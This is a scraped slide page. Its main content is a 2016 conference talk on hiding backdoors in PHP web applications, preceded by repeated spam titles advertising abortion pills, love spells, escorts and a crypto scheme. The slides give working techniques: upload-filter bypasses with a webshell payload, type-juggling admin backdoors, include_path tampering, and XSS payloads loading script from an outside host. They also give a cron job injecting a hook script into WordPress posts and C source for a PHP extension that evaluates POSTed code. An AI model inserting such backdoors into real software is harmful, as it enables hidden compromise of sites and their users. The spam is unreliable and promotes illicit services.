%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
 
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
 
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
 
%in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park %in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park
 
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
 
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
 
AI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM TechniquesAI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
 
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
 
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
 
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
 
%in ivory park+277-882-255-28 abortion pills for sale in ivory park
%in ivory park+277-882-255-28 abortion pills for sale in ivory park %in ivory park+277-882-255-28 abortion pills for sale in ivory park
%in ivory park+277-882-255-28 abortion pills for sale in ivory park
 
Introducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) SolutionIntroducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) Solution
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
 

PHP Backdoor: The rise of the vuln

  • 1. PHP BACKDOOR: THE RISE OF THE VULN Sandro "guly" Zaccarini www.endsummercamp.org
  • 2. guly@EndSummerCamp 2k16 whoami ▸ Sandro "guly" Zaccarini ▸ born purple ▸ happy to build and break
  • 3. guly@EndSummerCamp 2k16 agenda ▸ previous work ▸ web backdoor ecosystem ▸ induced web vulnerabilities ^^~pseudocode
  • 4. guly@EndSummerCamp 2k16 previous work ▸ php backdoor obfuscation@ESC2k15 ▸ how to execute code with php function ▸ how to hide/obfuscate a backdoor
  • 5. guly@EndSummerCamp 2k16 backdoor context: requirements ▸ going in through port 80/443 is mandatory ▸ going out isn't ▸ has to be "hidden" ▸ must descend on application context ▸ should give privileged access ▸ could also be asynchronous ▸ must descend on application context
  • 6. guly@EndSummerCamp 2k16 backdoor context: environment ▸ application layer: functions, like login and security check ▸ service layer: web server, application server, dbms ▸ operating system: permission, extension, configuration
  • 7. guly@EndSummerCamp 2k16 backdoor context: application layer ▸ turns a "secure" webapp into a vulnerable one ▸ normally just needs read/write on docroot ▸ "easily" detectable if code is versioned ▸ doesn't survive to a good code review ▸ ...but survives to most coders' review
  • 8. guly@EndSummerCamp 2k16 backdoor context: application layer ▸ file upload filters ▸ authorization routines ▸ sanity checks ▸ known buggy functions ▸ webapp configuration files
  • 9. guly@EndSummerCamp 2k16 // fixed upload vulnerability: check if file type is an image if (!(exif_imagetype($file)) { echo "file is not an imagen"; exit; } doUpload($file); File upload exif_imagetype shell.php: GIF89a[CUT]<?php exec($_GET['cmd']) Comment: Pretend that doUpload() simply upload files, with no further check.
  • 10. guly@EndSummerCamp 2k16 //assume just .php is interpreted as php $blacklist = array('php'); $ext = strtolower(end(explode('.', $file))); if (in_array($ext,$blacklist)) { echo "extension blacklisted"; exit; } else { doUpload($file); } File upload extension with blacklist shell.PhP doUpload(strtolower($file));
  • 11. guly@EndSummerCamp 2k16 $whitelist = array(".swf",".zip",".rar",".jpg","jpeg",".png" ,".gif",".txt",".doc","docx",".htm","html",
 ".pdf",".mp3",".avi",".mpg",".ppt",".pps"); $ext = strtolower(substr($filename,-4)); if (in_array($ext,$whitelist)) { doUpload($file); } File upload extension with whitelist shell.phtml
  • 12. guly@EndSummerCamp 2k16 $whitelist = array("jpg","png"); $ext = strtolower(end(explode('.', $file))); if (!(in_array($ext,$whitelist))) { echo "invalid file extensionn"; exit; } // avoid error on writing files with name longer than filesystem limits if ((strlen($file)) > 255) { $file = substr($file,0,255); } doUpload($file); File upload name length Ax251.php.jpg
  • 13. guly@EndSummerCamp 2k16 Authorization misuse /* getRole: SELECT role from users where user = '$user'; */ /* listUsers: SELECT name from users where role > 0 */ /* listAdmins: SELECT name from users where role = '0' */ $role = getRole($user); if ($role == 0) { isAdmin(); } else { isUser(); } alter table users modify role varchar(2); update users set role = '0e'; Comment: getRole, listUsers,listAdmins are functions present in admin dashboard this is a login page
  • 14. guly@EndSummerCamp 2k16 Authorization misuse[bis] /* getRole: SELECT role from users where user = '$user'; */ /* listUsers: SELECT name from users where role > 0 */ /* listAdmins: SELECT name from users where role = '0' */ $role = getRole($user); if ($role == 0) { isAdmin(); } else { isUser(); } alter table users modify role varchar(2); update users set role = 'a'; if ($role > 0) { isUser(); } else { isAdmin(); } Comment: if we switch the if statement, we aren't even vulnerable to type juggling and code analysis won't tell you that you shouldn't use ==
  • 15. guly@EndSummerCamp 2k16 function doLogin() { if ($rememberme) { rememberMe($user) }; doStuff(); } function rememberMe($user) { $value = hash(sha256,$user+time()); setcookie('rememberme',$value,time()+(60*60*24*365)); } function showLogin() { ?> <html><head><script src=js/loginpage.js></script></head><body> <form id=loginform> <!-- don't use, it's unsafe!! <label><input type=checkbox id=rememberme value=rememberme>Remember me</label> --> </form></body></html> <?php } /* js/loginpage.js */ $(document).ready(function(){ $('dothings'); $('#loginform').on('submit', function(e){ $('.rememberme')[0].checked = true; this.submit(); }); }); Remember me cookie
  • 16. guly@EndSummerCamp 2k16 backdoor context: service layer ▸ normally quite hidden ▸ and not so much detectable ▸ ...if you don't alter application codebase ▸ keeps logs quite clean ▸ almost everytime survives to code review
  • 17. guly@EndSummerCamp 2k16 backdoor context: service layer ▸ php.ini: register_globals on (PHP <5.4) ▸ php.ini: open_basedir+set_include_path ▸ .htaccess: AddType application/x-httpd-php .jpeg ▸ database tampering: CHARSET GBK
  • 18. guly@EndSummerCamp 2k16 /* * php.ini: * include_path .= "/var/www/html/uploads/" * open_basedir .= "/var/www/html/uploads/" */ function show($context) { // (pretend) it's safe because of open_basedir and // include_path = "/var/www/context/" // docroot /var/www/html/ include $context.'.php'; // $context.php has specific run() foreach context run($stuff); } function upload($file) { // safe because /var/www/html/uploads php_flag engine off doUpload($file); } include_path tampering upload guly.php gu.ly/?context=guly http://gu.ly/?context=news http://gu.ly/?context=about
  • 19. guly@EndSummerCamp 2k16 DNS PTR XSS function updateLogged($user) { sanitize($user); $ip = $_SERVER['REMOTE_ADDR']; $resolver = new Net_DNS2_Resolver(); $res = $resolver->query($ip, 'PTR'); /* no need to sanitize DNS response, RFC does */ $host = $res->answer[0]->rdata; $sql = "INSERT INTO tracking (usr,ip,host) value"; $sql .= "('".$user."','".$ip."','".$host."')"; } function showLogged($id) { /* input from database already sanitized at updateLogged */ list ($user,$ip,$host) = getRecords($id); echo "User ".$user.", last login from ".$ip."(".$host.")n"; } PTR: gu.ly<script/src=//gu.ly/s.js></script>
  • 20. guly@EndSummerCamp 2k16 DB injected XSS include "/var/www/html/wordpress/wp-config.php"; $blink = '<script src="http://gu.ly/hook.js"></script>'; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME); $res = mysqli_query($link,"SELECT ID,post_content as pc FROM wp_posts ORDER BY ID DESC LIMIT 1"); $row = $res->fetch_assoc(); if (!(strpos($row['pc'],$blink))) { $query = 'UPDATE wp_posts set post_content="'.mysqli_real_escape_string($link,$row['pc']); $query .= mysqli_real_escape_string($link,$blink).'" WHERE id ="'.$row["ID"].'"'; mysqli_query($link,$query); } mysqli_close($link); /etc/cron.daily/wordpress #!/usr/bin/php
  • 21. guly@EndSummerCamp 2k16 backdoor context: operating system ▸ doesn't always need root privileges, but mostly ▸ detectable by sys/network admin, but not by devs ▸ logs should be clean ▸ ...monitoring system shouldn't ▸ could be removed by sys update
  • 22. guly@EndSummerCamp 2k16 backdoor context: operating system ▸ local SMTP relay ▸ redirect network flows ▸ buggy^Wimproved webserver extension
  • 23. guly@EndSummerCamp 2k16 phpbd.so PHP_RINIT_FUNCTION(phpbd); zend_module_entry phpbd_ext_module_entry = { STANDARD_MODULE_HEADER, "a safe ext", NULL, NULL, NULL, PHP_RINIT(phpbd), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(phpbd_ext); PHP_RINIT_FUNCTION(phpbd) { char* method = "_POST"; char* evocate = "evocate"; zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, evocate, strlen(evocate) + 1, (void**)&val) != FAILURE) { code = Z_STRVAL_PP(val); zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); } } return SUCCESS; } POST evocate=system() /etc/php.ini: extension=phpbd.so
  • 24. guly@EndSummerCamp 2k16 mysqli.so /* {{{ proto bool mysqli_stmt_execute(object stmt) Execute a prepared statement */ PHP_FUNCTION(mysqli_stmt_execute) { MY_STMT *stmt; zval *mysql_stmt; if (zend_parse_method_parameters(ZEND_NUM_ARGS() TSRMLS_CC, getThis(), "O", &mysql_stmt, mysqli_stmt_class_entry) == FAILURE) { return; } MYSQLI_FETCH_RESOURCE_STMT(stmt, &mysql_stmt, MYSQLI_STATUS_VALID); /**/ // INSERT INTO sessions SET (userid,group,sessionid,expire) if (stmt->param.var[1] == '0') { //role 0 auth as admin sendMail(stmt->param.var[2]); } 100% non-working code! (php mysqli_api.c)
  • 25. guly@EndSummerCamp 2k16 backdoor examples ▸ File upload filter by exif_imagetype() (A) ▸ File upload extension with blacklist (A) ▸ File upload extension with whitelist (A) ▸ File upload filename length (A) ▸ Authorization misuse (A) ▸ Remember me cookie (A) ▸ include_path tampering (S) ▸ DNS PTR XSS (S) ▸ DB injected XSS (S) ▸ php ext backdoor (OS) ▸ mysqli.so tampering (OS)
  • 26. guly@EndSummerCamp 2k16 thanks! ▸ Acta est fabula, plaudite! ▸ Wait wait, any question? ▸ feedback please! ▸ guly@guly.org ▸ @theguly